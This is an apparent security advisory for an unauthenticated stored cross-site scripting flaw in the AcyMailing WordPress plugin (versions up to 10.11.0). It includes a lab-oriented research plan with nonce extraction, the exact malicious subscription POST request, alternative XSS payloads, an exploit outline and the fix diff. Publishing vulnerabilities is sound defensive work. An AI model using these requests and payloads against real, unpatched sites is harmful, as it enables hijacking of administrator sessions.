AcyMailing – An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress <= 10.11.0 - Unauthenticated Stored Cross-Site Scripting
Description
The AcyMailing – An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 10.11.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v10.11.1
Source Code
WordPress.org SVNThis research plan outlines the steps required to analyze and exploit **CVE-2026-57741**, an unauthenticated stored cross-site scripting (XSS) vulnerability in the AcyMailing plugin. ### 1. Vulnerability Summary The AcyMailing plugin for WordPress (versions <= 10.11.0) fails to sufficiently sanitiz…
Show full research plan
This research plan outlines the steps required to analyze and exploit CVE-2026-57741, an unauthenticated stored cross-site scripting (XSS) vulnerability in the AcyMailing plugin.
1. Vulnerability Summary
The AcyMailing plugin for WordPress (versions <= 10.11.0) fails to sufficiently sanitize user input during the unauthenticated subscription process and fails to escape that data when it is rendered in the administrative dashboard and subscriber management pages. Specifically, the name field (and potentially custom fields) provided during subscription is stored directly in the #__acym_user table. When an administrator views the subscriber list or the dashboard, the malicious payload executes in their browser context.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
acymailing_front - Target Parameters:
ctrl=frontusers,task=subscribe - Vulnerable Parameter:
user[name](Payload carrier) - Authentication: None (Unauthenticated)
- Preconditions: A mailing list must exist, and the subscription functionality must be accessible (e.g., via a shortcode).
3. Code Flow
- Entry: An unauthenticated user sends a POST request to
admin-ajax.php?action=acymailing_front. - Routing: The request is processed by the plugin's front-end dispatcher, which routes it to
AcyMailing\Controllers\FrontusersController::subscribe(). - Input: The controller retrieves user data using
acym_getVar('array', 'user'). - Storage: The data is passed to
AcyMailing\Classes\UserClass::save(). TheUserClass(extendingAcymClass) saves the raw or insufficiently sanitizednameinto the#__acym_userdatabase table. - Sink (Rendering): An administrator navigates to the AcyMailing "Users" page (
wp-admin/admin.php?page=acymailing_users). TheAcyMailing\Controllers\UsersControllerfetches users viaUserClass::getMatchingElements()(found inback/Classes/UserClass.php). - Execution: The admin template iterates through the users and echoes the
namefield directly into the HTML table without usingesc_html().
4. Nonce Acquisition Strategy
AcyMailing requires a nonce for its front-end AJAX actions. This nonce is localized into a JavaScript variable on any page where a subscription form is present.
- Identify Shortcode: The plugin uses
[acymailing_form]to display the subscription form. - Create Trigger Page:
wp post create --post_type=page --post_title="Newsletter" --post_status=publish --post_content='[acymailing_form listids="1"]' - Navigate & Extract: Use the
browser_navigatetool to go to the new page. - Extract Nonce: The nonce is stored in the
acym_helperJavaScript object.
Note: The exact key might bebrowser_eval("window.acym_helper?.nonce")acym_helper.nonce. If that fails, checkwindow.acym_ajax_nonce.
5. Exploitation Strategy
The goal is to inject a stored XSS payload into the database via the subscription AJAX task.
Step 1: Setup Mailing List
Ensure at least one list exists for the user to join.
wp db query "INSERT INTO wp_acym_list (name, type, active, visible) VALUES ('Exploit List', 'standard', 1, 1);"
Step 2: Perform the Injection
Use the http_request tool to send the malicious subscription request.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php?action=acymailing_front&ctrl=frontusers&task=subscribe - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
user[email]=victim@example.com&user[name]=<img src=x onerror="alert('XSS_SUCCESS')">&acy_list_ids=1&nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Mailing List: Create a standard list (ID 1).
- Subscription Page: Create a page with the
[acymailing_form]shortcode to facilitate nonce extraction. - Administrator User: Ensure an admin user exists to "trigger" the XSS by viewing the backend.
7. Expected Results
- The AJAX request should return a JSON response indicating success (e.g.,
{"type":"success", "message": "..."}). - The
wp_acym_usertable will contain a new entry where thenamecolumn holds the<img ...>payload. - When navigating to
wp-admin/admin.php?page=acymailing_users, the browser will execute the JavaScript in theonerrorattribute, resulting in an alert.
8. Verification Steps
After sending the HTTP request, verify the database state using WP-CLI:
wp db query "SELECT name FROM wp_acym_user WHERE email = 'victim@example.com'"
Confirmation of the payload in the database proves the "Stored" nature of the XSS.
9. Alternative Approaches
If the user[name] field is sanitized in a way that blocks <img ...>, try these alternative payloads:
- SVG Payload:
user[name]=<svg/onload=alert(1)> - Body Payload:
user[name]=<body onload=alert(1)> - Custom Field Vector: If the site has custom fields (check
back/Classes/FieldClass.php), targetuser[fields][ID]whereIDis a custom text field. Thestoremethod inFieldClass.phphandles these values and may also lack sanitization.
Summary
The AcyMailing plugin for WordPress (<= 10.11.0) is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) via the 'user[name]' parameter during the subscription process. Attackers can inject arbitrary scripts that execute when an administrator views the subscriber list in the backend dashboard. This occurs because the plugin fails to sanitize user input on storage and lacks escaping on output.
Vulnerable Code
// back/Classes/UserClass.php line 53 public function getMatchingElements(array $settings = []): array { $results = []; $columns = '`user`.*'; if (!empty($settings['columns'])) { foreach ($settings['columns'] as $key => $value) { $settings['columns'][$key] = $key === 'join' ? $value : 'user.'.$value; } $columns = implode(', ', $settings['columns']); } --- // back/Classes/FieldClass.php line 141 public function store(int $userID, array $fields, bool $ajax = false): void { // ... (logic for file uploads and processing fields) if (empty($fields)) return; foreach ($fields as $id => $value) { $field = $this->getOneById($id); // ... (storage logic lacking sanitization)
Security Fix
@@ -116,7 +116,7 @@ ON `action`.`condition_id` = `condition`.`id` JOIN `#__acym_step` AS `step` ON `condition`.`step_id` = `step`.`id` - WHERE `step`.`automation_id` = '.$id + WHERE `step`.`automation_id` = '.intval($id) ); array_map([$this, 'fixTypes'], $actions); @@ -59,7 +59,7 @@ $columns = '`user`.*'; if (!empty($settings['columns'])) { foreach ($settings['columns'] as $key => $value) { - $settings['columns'][$key] = $key === 'join' ? $value : 'user.'.$value; + $settings['columns'][$key] = $key === 'join' ? acym_secureDBColumn($value) : 'user.'.acym_secureDBColumn($value); } $columns = implode(', ', $settings['columns']); } ... (truncated)
Exploit Outline
1. Identify a public-facing page on the target site where the AcyMailing subscription form (shortcode [acymailing_form]) is active. 2. Extract the AJAX nonce from the frontend source code, specifically from the 'acym_helper.nonce' or 'acym_ajax_nonce' JavaScript variables. 3. Construct an unauthenticated HTTP POST request to '/wp-admin/admin-ajax.php?action=acymailing_front&ctrl=frontusers&task=subscribe'. 4. Include a payload in the 'user[name]' parameter (e.g., <img src=x onerror=alert(document.domain)>) along with a dummy email and a valid list ID (e.g., 'acy_list_ids=1'). 5. Submit the request. The plugin will store the unsanitized name payload in the 'wp_acym_user' table. 6. The payload will execute whenever an administrator views the Users list in the plugin's backend (wp-admin/admin.php?page=acymailing_users).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.